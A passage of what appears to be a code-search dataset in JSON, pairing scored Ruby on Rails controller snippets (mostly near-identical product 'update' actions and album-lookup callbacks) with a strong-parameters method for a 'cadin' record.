"5abf715b0f20450f4441f7c2a8e16133", "score": "0.6342534", "text": "def update\n if @my_product.update(my_product_params)\n render :show, status: :ok\n else\n render json: @my_product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e5c10785d42f571333d86351e2add61e", "score": "0.63376516", "text": "def update\n if @product.update(product_params)\n render json: {msg: \"Товар успешно изменен\", id: @product.id}\n else\n render json: {msg: @product.errors.full_messages.first}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "97ec465de31cff884d727ccfcd87e572", "score": "0.63356584", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('update_success') }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15489a05130618f3ce2614b67fdbc98d", "score": "0.63333195", "text": "def update_product(product, id)\n request(customer, \"product\", :post, {id: id, method: \"edit\"})\n end", "title": "" }, { "docid": "9cebff5ed2c4a168d9073e8c31b69287", "score": "0.6331715", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52903831e6e201b4af02b6c66c3f1aaa", "score": "0.6328773", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "c3e9fee89f6424b9f4f48432b4e7d340", "score": "0.6327269", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150c4f551f6ff7945e783db412283135", "score": "0.6326418", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150c4f551f6ff7945e783db412283135", "score": "0.6326418", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150c4f551f6ff7945e783db412283135", "score": "0.6326418", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150c4f551f6ff7945e783db412283135", "score": "0.6326418", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150c4f551f6ff7945e783db412283135", "score": "0.6326418", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d39f9e1ac5881083b242eae75407a33", "score": "0.6318723", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "181c97f11710a838dd4133fe4d95bdd7", "score": "0.6314147", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Your product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f4de67a5c6ff94b96abf6223bcef93", "score": "0.63119125", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
53ab4d9f3188bfc74943d66cc57d2fdb
Set the value of the Album input for this Choreo.
[ { "docid": "2641de91683183a2a85316df39bd7b8c", "score": "0.79564875", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" } ]
[ { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "99b586352ce8ce208fcd570cdaeae0d2", "score": "0.80617744", "text": "def set_Album(value)\n set_input(\"Album\", value)\n end", "title": "" }, { "docid": "64a46e488cfc6a6fbb3f67ef4916fbc5", "score": "0.7806172", "text": "def album=(value)\n @album = value\n end", "title": "" }, { "docid": "64a46e488cfc6a6fbb3f67ef4916fbc5", "score": "0.7806172", "text": "def album=(value)\n @album = value\n end", "title": "" }, { "docid": "ad4f88af5c333d320953db9f22ca7b1c", "score": "0.73979604", "text": "def set_AlbumId(value)\n set_input(\"AlbumId\", value)\n end", "title": "" }, { "docid": "f6eddd400ef0e1efba312f1e6e65300e", "score": "0.7284309", "text": "def set_AlbumID(value)\n set_input(\"AlbumID\", value)\n end", "title": "" }, { "docid": "f6eddd400ef0e1efba312f1e6e65300e", "score": "0.7284309", "text": "def set_AlbumID(value)\n set_input(\"AlbumID\", value)\n end", "title": "" }, { "docid": "f6eddd400ef0e1efba312f1e6e65300e", "score": "0.7284309", "text": "def set_AlbumID(value)\n set_input(\"AlbumID\", value)\n end", "title": "" }, { "docid": "f6eddd400ef0e1efba312f1e6e65300e", "score": "0.72818536", "text": "def set_AlbumID(value)\n set_input(\"AlbumID\", value)\n end", "title": "" }, { "docid": "f6eddd400ef0e1efba312f1e6e65300e", "score": "0.72818536", "text": "def set_AlbumID(value)\n set_input(\"AlbumID\", value)\n end", "title": "" }, { "docid": "f6eddd400ef0e1efba312f1e6e65300e", "score": "0.72818536", "text": "def set_AlbumID(value)\n set_input(\"AlbumID\", value)\n end", "title": "" }, { "docid": "284b367d07e5777743bb38ea94039036", "score": "0.72693753", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "284b367d07e5777743bb38ea94039036", "score": "0.72693753", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "284b367d07e5777743bb38ea94039036", "score": "0.72693753", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "a26c8cbef992b40a82d84da51205cbac", "score": "0.7203879", "text": "def set_album\n @album = Album.find(params[:album_id])\n end", "title": "" }, { "docid": "a26c8cbef992b40a82d84da51205cbac", "score": "0.7203879", "text": "def set_album\n @album = Album.find(params[:album_id])\n end", "title": "" }, { "docid": "a26c8cbef992b40a82d84da51205cbac", "score": "0.7203879", "text": "def set_album\n @album = Album.find(params[:album_id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.7072647", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "d0686d02d34720178ebe34ef7392d213", "score": "0.70708144", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "af3abc4642ef285d3bdcc3bb35f90a47", "score": "0.69929576", "text": "def set_album\n\t @album = Album.find(params[:id])\n\t end", "title": "" }, { "docid": "c133d0374829a5953e596c1579d465be", "score": "0.694887", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "e941e9fc1ce5e515e35ce1a767c411c4", "score": "0.6823633", "text": "def set_album\n @album = current_user.albums.find(params[:id])\n end", "title": "" }, { "docid": "f42f1b77c64d2a7240d164f4dee1feaf", "score": "0.68228453", "text": "def set_album\n @album= Album.find(params[:id])\n end", "title": "" }, { "docid": "74a20bd4109d843ada1815d62dd09a9d", "score": "0.6655204", "text": "def set_album(file_list, album_name)\n set_metadata(file_list, album:album_name)\n end", "title": "" }, { "docid": "9dc3d3240b796aa6c4e4640aaebd556a", "score": "0.6649148", "text": "def set_album\n @album = Album.resolve(params[:id])\n end", "title": "" }, { "docid": "5c16f93f1a9b265ccec39f31ed81136d", "score": "0.66427845", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "5c16f93f1a9b265ccec39f31ed81136d", "score": "0.66427845", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "5c16f93f1a9b265ccec39f31ed81136d", "score": "0.66427845", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "5c16f93f1a9b265ccec39f31ed81136d", "score": "0.66427845", "text": "def set_album\n @album = Album.find(params[:id])\n end", "title": "" }, { "docid": "154c847292f80eee8e2581730c42296d", "score": "0.6630766", "text": "def set_album\n @album = Album.find(params[:id])\n @resource = @album\n end", "title": "" }, { "docid": "9a23ed5e4ebfd12a917f420322628338", "score": "0.66084135", "text": "def set_album\n @album = Album.find(params[:id])\n @albums = [@album]\n end", "title": "" }, { "docid": "556ce4edfd23fb521719afd4bb4ab46d", "score": "0.65799284", "text": "def set_album\n @album = Admin::Album.find(params[:album_id])\n end", "title": "" }, { "docid": "e82c8df75104e6b7fa4125ada511692e", "score": "0.64999056", "text": "def set_album\n @album = Album.find(params[:id])\n authorize @album\n end", "title": "" }, { "docid": "2b41ed8908ee3e15a5caddbea1bb2333", "score": "0.64642286", "text": "def set_album\n @album = Album.find_by_param(params[:id])\n end", "title": "" }, { "docid": "2b41ed8908ee3e15a5caddbea1bb2333", "score": "0.64642286", "text": "def set_album\n @album = Album.find_by_param(params[:id])\n end", "title": "" }, { "docid": "9d9d19ee919d54cc7c3cb59deb7270c6", "score": "0.64387417", "text": "def set_album\n @photo = Photo.find(params[:id])\n end", "title": "" }, { "docid": "f33693671fb2dccbf653828b5df36886", "score": "0.6365932", "text": "def set_album_group\n @album_group = AlbumGroup.find(params[:id])\n end", "title": "" }, { "docid": "a010a772761f4ac1003c7cd75e270b5e", "score": "0.63634694", "text": "def album=( new_album_name )\n if @_itunes_api == :appscript\n @_itunes_object.album.set new_album_name\n @_itunes_object.album.get\n else\n @_itunes_object.album = new_album_name\n end\n end", "title": "" }, { "docid": "e4a6a1fbbc9ddb7b2c50ef5216c0f569", "score": "0.62554294", "text": "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n end", "title": "" }, { "docid": "9bba8a20fc5ff1bd237e4432535db7c2", "score": "0.62212795", "text": "def set_picture_album\n @picture_album = PictureAlbum.find(params[:id])\n end", "title": "" }, { "docid": "a2045176b0e72ad46d5db1d3b43007ad", "score": "0.6218863", "text": "def set_album\n @album = Album.where(lab_id: params[:lab_id]).find(params[:id])\n end", "title": "" }, { "docid": "8d3eec1e740255102df5a31963d0c2a5", "score": "0.62001175", "text": "def set_album\n @album = Album.includes(:company).find(params[:album_id])\n end", "title": "" }, { "docid": "68a43027094adddcc240dfcd5f6047db", "score": "0.6197664", "text": "def edit_album album_id, attributes\n perform_patch(\"/me/albums/#{album_id}\", attributes)\n end", "title": "" }, { "docid": "9ba46142e099aedbd466451414aeb7dc", "score": "0.61964375", "text": "def set_album_song\n @album_song = AlbumSong.find(params[:id])\n end", "title": "" }, { "docid": "292c94c912222eb9b062ea2b616a329f", "score": "0.6166434", "text": "def set_team_album\n @team_album = @team.team_albums.find(params[:id])\n end", "title": "" }, { "docid": "0d90c91987bd41141e6ebd6bcd12a785", "score": "0.6119793", "text": "def set_admin_album\n @admin_album = Admin::Album.find(params[:id])\n end", "title": "" }, { "docid": "0d90c91987bd41141e6ebd6bcd12a785", "score": "0.6119793", "text": "def set_admin_album\n @admin_album = Admin::Album.find(params[:id])\n end", "title": "" }, { "docid": "ae89cf739c4a1cccfd7eabb1473fd617", "score": "0.6083409", "text": "def set_album\n @album = @event.albums.find(params[:id])\n end", "title": "" }, { "docid": "55fcad5ede9f821f92a2608422171f84", "score": "0.605222", "text": "def set_album_track\n @album_track = AlbumTrack.find(params[:id])\n end", "title": "" }, { "docid": "7bf63ff14aecd125001cdad1dc024c1e", "score": "0.6028631", "text": "def set_album\n @roio_set_list = RoioSetList.find(params[:id])\n end", "title": "" }, { "docid": "ca288abcbd22fd31e3eed1a8eb47de9c", "score": "0.6028614", "text": "def album_artist=(value)\n @album_artist = value\n end", "title": "" }, { "docid": "19547495df85fc3dda973e0116f39973", "score": "0.60123336", "text": "def edit_album\n sql = \"UPDATE albums SET name = $1, artist_id = $2, genre = $3 WHERE artists_id = $4\"\n values = [@name, @artist_id, @genre, @artists_id]\n SqlRunner.run(sql, values)\n end", "title": "" }, { "docid": "adaaff8c17a13fa300d91e8e6338e7a2", "score": "0.5992981", "text": "def set_music_album\n\t\t@music_album = MusicAlbum.find(params[:id])\n\tend", "title": "" }, { "docid": "a3e21084b65655f037782d07b75bb842", "score": "0.59602904", "text": "def set_spotify_album\n @spotify_album = SpotifyAlbum.find(params[:id])\n end", "title": "" }, { "docid": "ce34a98e3d8434c096e1f29420b874e5", "score": "0.5917483", "text": "def set_album_name(album_name)\n album_name = Album.normalize_name( album_name )\n new_album = Album.find_or_create_by( name: album_name )\n @songs.each { |s| s.album = new_album }\n end", "title": "" }, { "docid": "0b706dce2e06b626768cec427569269d", "score": "0.5906763", "text": "def set_album_image\n @album_image = AlbumImage.find(params[:id])\n end", "title": "" }, { "docid": "3f21524e9122a7eb882c79fb73b48ec0", "score": "0.58703816", "text": "def album album_id\n perform_get(\"/me/albums/#{album_id}\", {})\n end", "title": "" }, { "docid": "2d70d48b7f506a606911c0c8b9d1d95c", "score": "0.58633214", "text": "def set_public_album\n @public_album = PublicAlbum.find(params[:id])\n end", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "55db63d2d6bb2359ba26fd9820082ab5", "score": "0.0", "text": "def cadin_params\n params.require(:cadin).permit(:number_control, :name, :born, :process, :occurrence_cadin_id, :signed_instrument_id, :place_birth, :uf_born, :address, :cep, :city_id, :cpf, :rg, :distribution_date, :percentage, :observation, :espolio, :freedup)\n end", "title": "" } ]
